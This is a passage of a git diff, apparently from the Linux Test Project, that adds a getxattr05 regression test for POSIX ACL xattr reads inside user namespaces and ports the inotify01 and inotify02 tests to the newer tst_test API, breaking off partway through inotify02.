diff --git a/testcases/kernel/syscalls/getuid/.gitignore b/testcases/kernel/syscalls/getuid/.gitignore
new file mode 100644
index 0000000..0e3d186
--- /dev/null
+++ b/testcases/kernel/syscalls/getuid/.gitignore
@@ -0,0 +1,4 @@
+/getuid01
+/getuid01_16
+/getuid03
+/getuid03_16
diff --git a/testcases/kernel/syscalls/getxattr/.gitignore b/testcases/kernel/syscalls/getxattr/.gitignore
new file mode 100644
index 0000000..cded941
--- /dev/null
+++ b/testcases/kernel/syscalls/getxattr/.gitignore
@@ -0,0 +1,5 @@
+/getxattr01
+/getxattr02
+/getxattr03
+/getxattr04
+/getxattr05
diff --git a/testcases/kernel/syscalls/getxattr/Makefile b/testcases/kernel/syscalls/getxattr/Makefile
index 72544c1..3f78745 100644
--- a/testcases/kernel/syscalls/getxattr/Makefile
+++ b/testcases/kernel/syscalls/getxattr/Makefile
@@ -20,4 +20,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+getxattr05: LDLIBS	+= $(ACL_LIBS)
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/getxattr/getxattr05.c b/testcases/kernel/syscalls/getxattr/getxattr05.c
new file mode 100644
index 0000000..31b985e
--- /dev/null
+++ b/testcases/kernel/syscalls/getxattr/getxattr05.c
@@ -0,0 +1,175 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*
+ * Description:
+ * 1) Witout a user namespace, getxattr(2) should get same data when
+ *    acquiring the value of system.posix_acl_access twice.
+ * 2) With/Without mapped root UID in a user namespaces, getxattr(2) should
+ *    get same data when acquiring the value of system.posix_acl_access twice.
+ *
+ * This issue included by getxattr05 has been fixed in kernel:
+ * '82c9a927bc5d ("getxattr: use correct xattr length")'
+ */
+
+#define _GNU_SOURCE
+#include "config.h"
+#include <errno.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sched.h>
+#include <stdlib.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#ifdef HAVE_LIBACL
+# include <sys/acl.h>
+#endif
+
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
+
+#if defined(HAVE_SYS_XATTR_H) && defined(HAVE_LIBACL)
+
+#define TEST_FILE	"testfile"
+#define MAX_USERNS	"/proc/sys/user/max_user_namespaces"
+#define UID_MAP	"/proc/self/uid_map"
+
+static acl_t acl;
+static int orig_max_userns = -1;
+
+static struct tcase {
+	/* 0: without userns, 1: with userns */
+	int set_userns;
+	/* 0: don't map root UID in userns, 1: map root UID in userns */
+	int map_root;
+} tcases[] = {
+	{0, 0},
+	{1, 0},
+	{1, 1},
+};
+
+static void verify_getxattr(void)
+{
+	ssize_t i, res1, res2;
+	char buf1[128], buf2[132];
+
+	res1 = SAFE_GETXATTR(TEST_FILE, "system.posix_acl_access",
+			     buf1, sizeof(buf1));
+	res2 = SAFE_GETXATTR(TEST_FILE, "system.posix_acl_access",
+			     buf2, sizeof(buf2));
+
+	if (res1 != res2) {
+		tst_res(TFAIL, "Return different sizes when acquiring "
+			"the value of system.posix_acl_access twice");
+		return;
+	}
+
+	for (i = 0; i < res1; i++) {
+		if (buf1[i] != buf2[i])
+			break;
+	}
+
+	if (i < res1) {
+		tst_res(TFAIL, "Got different data(%02x != %02x) at %ld",
+			buf1[i], buf2[i], i);
+		return;
+	}
+
+	tst_res(TPASS, "Got same data when acquiring the value of "
+		"system.posix_acl_access twice");
+}
+
+static void do_unshare(int map_root)
+{
+	int res;
+
+	/* unshare() should support CLONE_NEWUSER flag since Linux 3.8 */
+	res = unshare(CLONE_NEWUSER);
+	if (res == -1)
+		tst_brk(TFAIL | TERRNO, "unshare(CLONE_NEWUSER) failed");
+
+	if (map_root) {
+		/* uid_map file should exist since Linux 3.8 because
+		 * it is available on Linux 3.5
+		 */
+		if (access(UID_MAP, F_OK))
+			tst_brk(TBROK, "file %s didn't exist", UID_MAP);
+
+		SAFE_FILE_PRINTF(UID_MAP, "%d %d %d", 0, 0, 1);
+	}
+}
+
+static void do_getxattr(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		if (tc->set_userns)
+			do_unshare(tc->map_root);
+
+		verify_getxattr();
+		exit(0);
+	}
+
+	tst_reap_children();
+}
+
+static void setup(void)
+{
+	const char *acl_text = "u::rw-,u:root:rwx,g::r--,o::r--,m::rwx";
+	int res;
+
+	SAFE_TOUCH(TEST_FILE, 0644, NULL);
+
+	acl = acl_from_text(acl_text);
+	if (!acl)
+		tst_brk(TBROK | TERRNO, "acl_from_text() failed");
+
+	res = acl_set_file(TEST_FILE, ACL_TYPE_ACCESS, acl);
+	if (res == -1) {
+		if (errno == EOPNOTSUPP)
+			tst_brk(TCONF | TERRNO, "acl_set_file()");
+
+		tst_brk(TBROK | TERRNO, "acl_set_file(%s) failed", TEST_FILE);
+	}
+
+	/* The default value of max_user_namespaces is set to 0 on some distros,
+	 * We need to change the default value to call unshare().
+	 */
+	if (!access(MAX_USERNS, F_OK)) {
+		SAFE_FILE_SCANF(MAX_USERNS, "%d", &orig_max_userns);
+		SAFE_FILE_PRINTF(MAX_USERNS, "%d", 10);
+	}
+}
+
+static void cleanup(void)
+{
+	if (orig_max_userns != -1)
+		SAFE_FILE_PRINTF(MAX_USERNS, "%d", orig_max_userns);
+
+	if (acl)
+		acl_free(acl);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = do_getxattr,
+	.min_kver = "3.8",
+};
+
+#else /* HAVE_SYS_XATTR_H && HAVE_LIBACL*/
+	TST_TEST_TCONF("<sys/xattr.h> or <sys/acl.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/inotify/.gitignore b/testcases/kernel/syscalls/inotify/.gitignore
new file mode 100644
index 0000000..32ccab5
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify/.gitignore
@@ -0,0 +1,9 @@
+/inotify01
+/inotify02
+/inotify03
+/inotify04
+/inotify05
+/inotify06
+/inotify07
+/inotify08
+/inotify09
diff --git a/testcases/kernel/syscalls/inotify/Makefile b/testcases/kernel/syscalls/inotify/Makefile
index 91da9ff..ea74661 100644
--- a/testcases/kernel/syscalls/inotify/Makefile
+++ b/testcases/kernel/syscalls/inotify/Makefile
@@ -19,5 +19,6 @@
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-
+inotify09: CFLAGS+=-pthread
+inotify09: LDLIBS+=-lrt
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/inotify/README b/testcases/kernel/syscalls/inotify/README
index 4cd307c..1392495 100644
--- a/testcases/kernel/syscalls/inotify/README
+++ b/testcases/kernel/syscalls/inotify/README
@@ -1,4 +1,4 @@
-This contains two tests for the inotify subsytem.
+This contains two tests for the inotify subsystem.
 
 The  inotify  API  provides  a mechanism for monitoring file system events. $
 Inotify can be used to monitor individual files, or to monitor directories. $
diff --git a/testcases/kernel/syscalls/inotify/inotify.h b/testcases/kernel/syscalls/inotify/inotify.h
index a364e14..0298ca7 100644
--- a/testcases/kernel/syscalls/inotify/inotify.h
+++ b/testcases/kernel/syscalls/inotify/inotify.h
@@ -28,20 +28,25 @@
 #ifndef	_INOTIFY_H
 #define	_INOTIFY_H
 
+#include "lapi/syscalls.h"
+
 /* inotify(7) wrappers */
 
 #if __NR_inotify_init != __LTP__NR_INVALID_SYSCALL
 #define	myinotify_init() \
-	ltp_syscall(__NR_inotify_init)
+	tst_syscall(__NR_inotify_init)
 #else
 #define	myinotify_init() \
-	ltp_syscall(__NR_inotify_init1, 0)
+	tst_syscall(__NR_inotify_init1, 0)
 #endif
 
+#define myinotify_init1(flags) \
+	tst_syscall(__NR_inotify_init1, flags)
+
 #define	myinotify_add_watch(fd, pathname, mask)	\
-	ltp_syscall(__NR_inotify_add_watch, fd, pathname, mask)
+	tst_syscall(__NR_inotify_add_watch, fd, pathname, mask)
 
 #define	myinotify_rm_watch(fd, wd) \
-	ltp_syscall(__NR_inotify_rm_watch, fd, wd)
+	tst_syscall(__NR_inotify_rm_watch, fd, wd)
 
 #endif /* _INOTIFY_H */
diff --git a/testcases/kernel/syscalls/inotify/inotify01.c b/testcases/kernel/syscalls/inotify/inotify01.c
index 8a471ae..f0cf512 100644
--- a/testcases/kernel/syscalls/inotify/inotify01.c
+++ b/testcases/kernel/syscalls/inotify/inotify01.c
@@ -37,9 +37,7 @@
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
+#include "tst_test.h"
 #include "inotify.h"
 
 #if defined(HAVE_SYS_INOTIFY_H)
@@ -51,176 +49,138 @@
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * (EVENT_SIZE + 16))
 
-char *TCID = "inotify01";
-int TST_TOTAL = 7;
-
-static void setup(void);
-static void cleanup(void);
-
 #define BUF_SIZE 256
+
 static char fname[BUF_SIZE];
 static char buf[BUF_SIZE];
 static int fd, fd_notify;
 static int wd, reap_wd;
 
-static int event_set[EVENT_MAX];
+static unsigned int event_set[EVENT_MAX];
 
 static char event_buf[EVENT_BUF_LEN];
 
-int main(int ac, char **av)
+void verify_inotify(void)
 {
-	int lc;
+	int test_cnt = 0;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	/*
+	 * generate sequence of events
+	 */
+	SAFE_CHMOD(fname, 0755);
+	event_set[test_cnt] = IN_ATTRIB;
+	test_cnt++;
 
-	setup();
+	if ((fd = open(fname, O_RDONLY)) == -1) {
+		tst_brk(TBROK | TERRNO,
+			"open(%s, O_RDWR|O_CREAT,0700) failed", fname);
+	}
+	event_set[test_cnt] = IN_OPEN;
+	test_cnt++;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
+	if (read(fd, buf, BUF_SIZE) == -1) {
+		tst_brk(TBROK | TERRNO,
+			"read(%d, buf, %d) failed", fd, BUF_SIZE);
+	}
+	event_set[test_cnt] = IN_ACCESS;
+	test_cnt++;
 
-		/*
-		 * generate sequence of events
-		 */
-		SAFE_CHMOD(cleanup, fname, 0755);
-		event_set[tst_count] = IN_ATTRIB;
-		tst_count++;
+	SAFE_CLOSE(fd);
+	event_set[test_cnt] = IN_CLOSE_NOWRITE;
+	test_cnt++;
 
-		if ((fd = open(fname, O_RDONLY)) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "open(%s, O_RDWR|O_CREAT,0700) failed", fname);
-		}
-		event_set[tst_count] = IN_OPEN;
-		tst_count++;
+	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
+		tst_brk(TBROK,
+			"open(%s, O_RDWR|O_CREAT,0700) failed", fname);
+	}
+	event_set[test_cnt] = IN_OPEN;
+	test_cnt++;
 
-		if (read(fd, buf, BUF_SIZE) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "read(%d, buf, %d) failed", fd, BUF_SIZE);
-		}
-		event_set[tst_count] = IN_ACCESS;
-		tst_count++;
+	if (write(fd, buf, BUF_SIZE) == -1) {
+		tst_brk(TBROK,
+			"write(%d, %s, 1) failed", fd, fname);
+	}
+	event_set[test_cnt] = IN_MODIFY;
+	test_cnt++;
 
-		SAFE_CLOSE(cleanup, fd);
-		event_set[tst_count] = IN_CLOSE_NOWRITE;
-		tst_count++;
+	SAFE_CLOSE(fd);
+	event_set[test_cnt] = IN_CLOSE_WRITE;
+	test_cnt++;
 
-		if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "open(%s, O_RDWR|O_CREAT,0700) failed", fname);
-		}
-		event_set[tst_count] = IN_OPEN;
-		tst_count++;
-
-		if (write(fd, buf, BUF_SIZE) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "write(%d, %s, 1) failed", fd, fname);
-		}
-		event_set[tst_count] = IN_MODIFY;
-		tst_count++;
-
-		SAFE_CLOSE(cleanup, fd);
-		event_set[tst_count] = IN_CLOSE_WRITE;
-		tst_count++;
-
-		if (TST_TOTAL != tst_count) {
-			tst_brkm(TBROK, cleanup,
-				 "TST_TOTAL and tst_count are not equal");
-		}
-		tst_count = 0;
-
-		/*
-		 * get list on events
-		 */
-		int len, i = 0, test_num = 0;
-		if ((len = read(fd_notify, event_buf, EVENT_BUF_LEN)) < 0) {
-			tst_brkm(TBROK, cleanup,
-				 "read(%d, buf, %zu) failed",
-				 fd_notify, EVENT_BUF_LEN);
-
-		}
-
-		/*
-		 * check events
-		 */
-		while (i < len) {
-			struct inotify_event *event;
-			event = (struct inotify_event *)&event_buf[i];
-			if (test_num >= TST_TOTAL) {
-				tst_resm(TFAIL,
-					 "get unnecessary event: wd=%d mask=%x "
-					 "cookie=%u len=%u",
-					 event->wd, event->mask,
-					 event->cookie, event->len);
-			} else if (event_set[test_num] == event->mask) {
-				if (event->cookie != 0) {
-					tst_resm(TFAIL,
-						 "get event: wd=%d mask=%x "
-						 "cookie=%u (expected 0) len=%u",
-						 event->wd, event->mask,
-						 event->cookie, event->len);
-				} else {
-					tst_resm(TPASS, "get event: wd=%d "
-						 "mask=%x cookie=%u len=%u",
-						 event->wd, event->mask,
-						 event->cookie, event->len);
-				}
-
-			} else {
-				tst_resm(TFAIL, "get event: wd=%d mask=%x "
-					 "(expected %x) cookie=%u len=%u",
-					 event->wd, event->mask,
-					 event_set[test_num],
-					 event->cookie, event->len);
-			}
-			test_num++;
-			i += EVENT_SIZE + event->len;
-		}
-		for (; test_num < TST_TOTAL; test_num++) {
-			tst_resm(TFAIL, "didn't get event: mask=%x",
-				 event_set[test_num]);
-
-		}
+	/*
+	 * get list of events
+	 */
+	int len, i = 0, test_num = 0;
+	if ((len = read(fd_notify, event_buf, EVENT_BUF_LEN)) < 0) {
+		tst_brk(TBROK,
+			"read(%d, buf, %zu) failed",
+			fd_notify, EVENT_BUF_LEN);
 
 	}
 
-	cleanup();
-	tst_exit();
+	/*
+	 * check events
+	 */
+	while (i < len) {
+		struct inotify_event *event;
+		event = (struct inotify_event *)&event_buf[i];
+		if (test_num >= test_cnt) {
+			tst_res(TFAIL,
+				"get unnecessary event: wd=%d mask=%02x "
+				"cookie=%u len=%u",
+				event->wd, event->mask,
+				event->cookie, event->len);
+		} else if (event_set[test_num] == event->mask) {
+			if (event->cookie != 0) {
+				tst_res(TFAIL,
+					"get event: wd=%d mask=%02x "
+					"cookie=%u (expected 0) len=%u",
+					event->wd, event->mask,
+					event->cookie, event->len);
+			} else {
+				tst_res(TPASS, "get event: wd=%d "
+					"mask=%02x cookie=%u len=%u",
+					event->wd, event->mask,
+					event->cookie, event->len);
+			}
+
+		} else {
+			tst_res(TFAIL, "get event: wd=%d mask=%02x "
+				"(expected %x) cookie=%u len=%u",
+				event->wd, event->mask,
+				event_set[test_num],
+				event->cookie, event->len);
+		}
+		test_num++;
+		i += EVENT_SIZE + event->len;
+	}
+	for (; test_num < test_cnt; test_num++) {
+		tst_res(TFAIL, "didn't get event: mask=%02x",
+			event_set[test_num]);
+
+	}
 }
 
 static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT,0700) failed", fname);
-	}
-	if ((write(fd, fname, 1)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "write(%d, %s, 1) failed",
-			 fd, fname);
-	}
 
-	/* close the file we have open */
-	SAFE_CLOSE(cleanup, fd);
+	SAFE_FILE_PRINTF(fname, "%s", fname);
+
 	if ((fd_notify = myinotify_init()) < 0) {
 		if (errno == ENOSYS) {
-			tst_brkm(TCONF, cleanup,
-				 "inotify is not configured in this kernel.");
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
 		} else {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "inotify_init failed");
+			tst_brk(TBROK | TERRNO,
+				"inotify_init failed");
 		}
 	}
 
 	if ((wd = myinotify_add_watch(fd_notify, fname, IN_ALL_EVENTS)) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "inotify_add_watch (%d, %s, IN_ALL_EVENTS) failed",
-			 fd_notify, fname);
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch (%d, %s, IN_ALL_EVENTS) failed",
+			fd_notify, fname);
 		reap_wd = 1;
 	};
 
@@ -229,25 +189,21 @@
 static void cleanup(void)
 {
 	if (reap_wd && myinotify_rm_watch(fd_notify, wd) < 0) {
-		tst_resm(TWARN | TERRNO, "inotify_rm_watch (%d, %d) failed",
-			 fd_notify, wd);
-
+		tst_res(TWARN | TERRNO, "inotify_rm_watch (%d, %d) failed",
+			fd_notify, wd);
 	}
 
-	if (fd_notify > 0 && close(fd_notify))
-		tst_resm(TWARN, "close(%d) failed", fd_notify);
-
-	tst_rmdir();
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
 }
 
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
 #else
-
-char *TCID = "inotify01";
-int TST_TOTAL = 0;
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have required inotify support");
-}
-
+	TST_TEST_TCONF("system doesn't have required inotify support");
 #endif
diff --git a/testcases/kernel/syscalls/inotify/inotify02.c b/testcases/kernel/syscalls/inotify/inotify02.c
index 4a1036a..02eb857 100644
--- a/testcases/kernel/syscalls/inotify/inotify02.c
+++ b/testcases/kernel/syscalls/inotify/inotify02.c
@@ -39,9 +39,7 @@
 #include <string.h>
 #include <sys/syscall.h>
 #include <limits.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
+#include "tst_test.h"
 #include "inotify.h"
 
 #if defined(HAVE_SYS_INOTIFY_H)
@@ -57,12 +55,6 @@
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * (EVENT_SIZE + 16))
 
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "inotify02";
-int TST_TOTAL = 9;
-
 #define BUF_SIZE 256
 static char fname1[BUF_SIZE], fname2[BUF_SIZE], fname3[BUF_SIZE];
 static int fd, fd_notify, reap_wd;
@@ -79,235 +71,206 @@
 
 static char event_buf[EVENT_BUF_LEN];
 
-int main(int ac, char **av)
+void verify_inotify(void)
 {
-	int lc;
 	unsigned int stored_cookie = UINT_MAX;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	int test_cnt = 0;
 
-	setup();
+	/*
+	 * generate sequence of events
+	 */
+	SAFE_CHMOD(".", 0755);
+	event_set[test_cnt].mask = IN_ISDIR | IN_ATTRIB;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * generate sequence of events
-		 */
-		SAFE_CHMOD(cleanup, ".", 0755);
-		event_set[tst_count].mask = IN_ISDIR | IN_ATTRIB;
-		strcpy(event_set[tst_count].name, "");
-		tst_count++;
-
-		if ((fd = creat(FILE_NAME1, 0755)) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "creat(\"%s\", 755) failed", FILE_NAME1);
-		}
-
-		event_set[tst_count].mask = IN_CREATE;
-		strcpy(event_set[tst_count].name, FILE_NAME1);
-		tst_count++;
-		event_set[tst_count].mask = IN_OPEN;
-		strcpy(event_set[tst_count].name, FILE_NAME1);
-		tst_count++;
-
-		SAFE_CLOSE(cleanup, fd);
-		event_set[tst_count].mask = IN_CLOSE_WRITE;
-		strcpy(event_set[tst_count].name, FILE_NAME1);
-		tst_count++;
-
-		SAFE_RENAME(cleanup, FILE_NAME1, FILE_NAME2);
-		event_set[tst_count].mask = IN_MOVED_FROM;
-		strcpy(event_set[tst_count].name, FILE_NAME1);
-		tst_count++;
-		event_set[tst_count].mask = IN_MOVED_TO;
-		strcpy(event_set[tst_count].name, FILE_NAME2);
-		tst_count++;
-
-		if (getcwd(fname1, BUF_SIZE) == NULL) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "getcwd(%p, %d) failed", fname1, BUF_SIZE);
-		}
-
-		snprintf(fname2, BUF_SIZE, "%s.rename1", fname1);
-		SAFE_RENAME(cleanup, fname1, fname2);
-		event_set[tst_count].mask = IN_MOVE_SELF;
-		strcpy(event_set[tst_count].name, "");
-		tst_count++;
-
-		SAFE_UNLINK(cleanup, FILE_NAME2);
-		event_set[tst_count].mask = IN_DELETE;
-		strcpy(event_set[tst_count].name, FILE_NAME2);
-		tst_count++;
-
-		/*
-		 * test that duplicate events will be coalesced into
-		 * a single event. This test case should be last, that
-		 * we can correct determine kernel bug which exist before
-		 * 2.6.25. See comment below.
-		 */
-		snprintf(fname3, BUF_SIZE, "%s.rename2", fname1);
-		SAFE_RENAME(cleanup, fname2, fname3);
-
-		SAFE_RENAME(cleanup, fname3, fname1);
-		event_set[tst_count].mask = IN_MOVE_SELF;
-		strcpy(event_set[tst_count].name, "");
-		tst_count++;
-
-		if (tst_count != TST_TOTAL) {
-			tst_brkm(TBROK, cleanup,
-				 "tst_count and TST_TOTAL are not equal");
-		}
-
-		tst_count = 0;
-
-		int len, i = 0, test_num = 0;
-		if ((len = read(fd_notify, event_buf, EVENT_BUF_LEN)) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "read(%d, buf, %zu) failed",
-				 fd_notify, EVENT_BUF_LEN);
-
-		}
-
-		while (i < len) {
-			struct inotify_event *event;
-			event = (struct inotify_event *)&event_buf[i];
-			if (test_num >= TST_TOTAL) {
-				if (tst_kvercmp(2, 6, 25) < 0
-				    && event_set[TST_TOTAL - 1].mask ==
-				    event->mask)
-					tst_resm(TWARN,
-						 "This may be kernel bug. "
-						 "Before kernel 2.6.25, a kernel bug "
-						 "meant that the kernel code that was "
-						 "intended to coalesce successive identical "
-						 "events (i.e., the two most recent "
-						 "events could potentially be coalesced "
-						 "if the older had not yet been read) "
-						 "instead checked if the most recent event "
-						 "could be coalesced with the oldest "
-						 "unread event. This has been fixed by commit"
-						 "1c17d18e3775485bf1e0ce79575eb637a94494a2.");
-				tst_resm(TFAIL,
-					 "get unnecessary event: "
-					 "wd=%d mask=%x cookie=%u len=%u"
-					 "name=\"%.*s\"", event->wd, event->mask,
-					 event->cookie, event->len, event->len,
-					 event->name);
-
-			} else if ((event_set[test_num].mask == event->mask)
-				   &&
-				   (!strncmp
-				    (event_set[test_num].name, event->name,
-				     event->len))) {
-				int fail = 0;
-
-				if (event->mask == IN_MOVED_FROM) {
-					if (event->cookie == 0)
-						fail = 1;
-					else
-						stored_cookie = event->cookie;
-				} else if (event->mask == IN_MOVED_TO) {
-					if (event->cookie != stored_cookie)
-						fail = 1;
-					else
-						stored_cookie = UINT_MAX;
-				} else {
-					if (event->cookie != 0)
-						fail = 1;
-				}
-				if (!fail) {
-					tst_resm(TPASS,
-						 "get event: wd=%d mask=%x "
-						 "cookie=%u len=%u name=\"%.*s\"",
-						 event->wd, event->mask,
-						 event->cookie, event->len,
-						 event->len, event->name);
-				} else {
-					tst_resm(TFAIL,
-						 "get event: wd=%d mask=%x "
-						 "cookie=%u (wrong) len=%u "
-						 "name=\"%s\"",
-						 event->wd, event->mask,
-						 event->cookie, event->len,
-						 event->name);
-				}
-			} else {
-				tst_resm(TFAIL, "get event: wd=%d mask=%x "
-					 "(expected %x) cookie=%u len=%u "
-					 "name=\"%s\" (expected \"%s\") %d",
-					 event->wd, event->mask,
-					 event_set[test_num].mask,
-					 event->cookie, event->len, event->name,
-					 event_set[test_num].name,
-					 strcmp(event_set[test_num].name,
-						event->name));
-			}
-			test_num++;
-			i += EVENT_SIZE + event->len;
-		}
-
-		for (; test_num < TST_TOTAL; test_num++) {
-			tst_resm(TFAIL, "didn't get event: mask=%x ",
-				 event_set[test_num].mask);
-		}
+	if ((fd = creat(FILE_NAME1, 0755)) == -1) {
+		tst_brk(TBROK | TERRNO,
+			"creat(\"%s\", 755) failed", FILE_NAME1);
 	}
 
-	cleanup();
-	tst_exit();
+	event_set[test_cnt].mask = IN_CREATE;
+	strcpy(event_set[test_cnt].name, FILE_NAME1);
+	test_cnt++;
+	event_set[test_cnt].mask = IN_OPEN;
+	strcpy(event_set[test_cnt].name, FILE_NAME1);
+	test_cnt++;
+
+	SAFE_CLOSE(fd);
+	event_set[test_cnt].mask = IN_CLOSE_WRITE;
+	strcpy(event_set[test_cnt].name, FILE_NAME1);
+	test_cnt++;
+
+	SAFE_RENAME(FILE_NAME1, FILE_NAME2);
+	event_set[test_cnt].mask = IN_MOVED_FROM;
+	strcpy(event_set[test_cnt].name, FILE_NAME1);
+	test_cnt++;
+	event_set[test_cnt].mask = IN_MOVED_TO;
+	strcpy(event_set[test_cnt].name, FILE_NAME2);
+	test_cnt++;
+
+	if (getcwd(fname1, BUF_SIZE) == NULL) {
+		tst_brk(TBROK | TERRNO,
+			"getcwd(%p, %d) failed", fname1, BUF_SIZE);
+	}
+
+	snprintf(fname2, BUF_SIZE, "%s.rename1", fname1);
+	SAFE_RENAME(fname1, fname2);
+	event_set[test_cnt].mask = IN_MOVE_SELF;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
+
+	SAFE_UNLINK(FILE_NAME2);
+	event_set[test_cnt].mask = IN_DELETE;
+	strcpy(event_set[test_cnt].name, FILE_NAME2);
+	test_cnt++;
+
+	/*
+	 * test that duplicate events will be coalesced into
+	 * a single event. This test case should be last, that
+	 * we can correct determine kernel bug which exist before
+	 * 2.6.25. See comment below.
+	 */
+	snprintf(fname3, BUF_SIZE, "%s.rename2", fname1);
+	SAFE_RENAME(fname2, fname3);
+
+	SAFE_RENAME(fname3, fname1);
+	event_set[test_cnt].mask = IN_MOVE_SELF;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
+
+	int len, i = 0, test_num = 0;
+	if ((len = read(fd_notify, event_buf, EVENT_BUF_LEN)) == -1) {
+		tst_brk(TBROK | TERRNO,
+			"read(%d, buf, %zu) failed",
+			fd_notify, EVENT_BUF_LEN);
+
+	}
+
+	while (i < len) {
+		struct inotify_event *event;
+		event = (struct inotify_event *)&event_buf[i];
+		if (test_num >= test_cnt) {
+			if (tst_kvercmp(2, 6, 25) < 0
+					&& event_set[test_cnt - 1].mask ==
+					event->mask)
+				tst_res(TWARN,
+					"This may be kernel bug. "
+					"Before kernel 2.6.25, a kernel bug "
+					"meant that the kernel code that was "
+					"intended to coalesce successive identical "
+					"events (i.e., the two most recent "
+					"events could potentially be coalesced "
+					"if the older had not yet been read) "
+					"instead checked if the most recent event "
+					"could be coalesced with the oldest "
+					"unread event. This has been fixed by commit"
+					"1c17d18e3775485bf1e0ce79575eb637a94494a2.");
+			tst_res(TFAIL,
+				"get unnecessary event: "
+				"wd=%d mask=%08x cookie=%-5u len=%-2u"
+				"name=\"%.*s\"", event->wd, event->mask,
+				event->cookie, event->len, event->len,
+				event->name);
+
+		} else if ((event_set[test_num].mask == event->mask)
+				&&
+				(!strncmp
+				 (event_set[test_num].name, event->name,
+				  event->len))) {
+			int fail = 0;
+
+			if (event->mask == IN_MOVED_FROM) {
+				if (event->cookie == 0)
+					fail = 1;
+				else
+					stored_cookie = event->cookie;
+			} else if (event->mask == IN_MOVED_TO) {
+				if (event->cookie != stored_cookie)
+					fail = 1;
+				else
+					stored_cookie = UINT_MAX;
+			} else {
+				if (event->cookie != 0)
+					fail = 1;
+			}
+			if (!fail) {
+				tst_res(TPASS,
+					"get event: wd=%d mask=%08x "
+					"cookie=%-5u len=%-2u name=\"%.*s\"",
+					event->wd, event->mask,
+					event->cookie, event->len,
+					event->len, event->name);
+			} else {
+				tst_res(TFAIL,
+					"get event: wd=%d mask=%08x "
+					"cookie=%-5u (wrong) len=%-2u "
+					"name=\"%s\"",
+					event->wd, event->mask,
+					event->cookie, event->len,
+					event->name);
+			}
+		} else {
+			tst_res(TFAIL, "get event: wd=%d mask=%08x "
+				"(expected %x) cookie=%-5u len=%-2u "
+				"name=\"%s\" (expected \"%s\") %d",
+				event->wd, event->mask,
+				event_set[test_num].mask,
+				event->cookie, event->len, event->name,
+				event_set[test_num].name,
+				strcmp(event_set[test_num].name,
+					event->name));
+		}
+		test_num++;
+		i += EVENT_SIZE + event->len;
+	}
+
+	for (; test_num < test_cnt; test_num++) {
+		tst_res(TFAIL, "didn't get event: mask=%08x ",
+			event_set[test_num].mask);
+	}
 }
 
 static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	if ((fd_notify = myinotify_init()) < 0) {
 		if (errno == ENOSYS) {
-			tst_brkm(TCONF, cleanup,
-				 "inotify is not configured in this kernel.");
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
 		} else {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "inotify_init () failed");
+			tst_brk(TBROK | TERRNO,
+				"inotify_init () failed");
 		}
 	}
 
 	if ((wd = myinotify_add_watch(fd_notify, ".", IN_ALL_EVENTS)) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
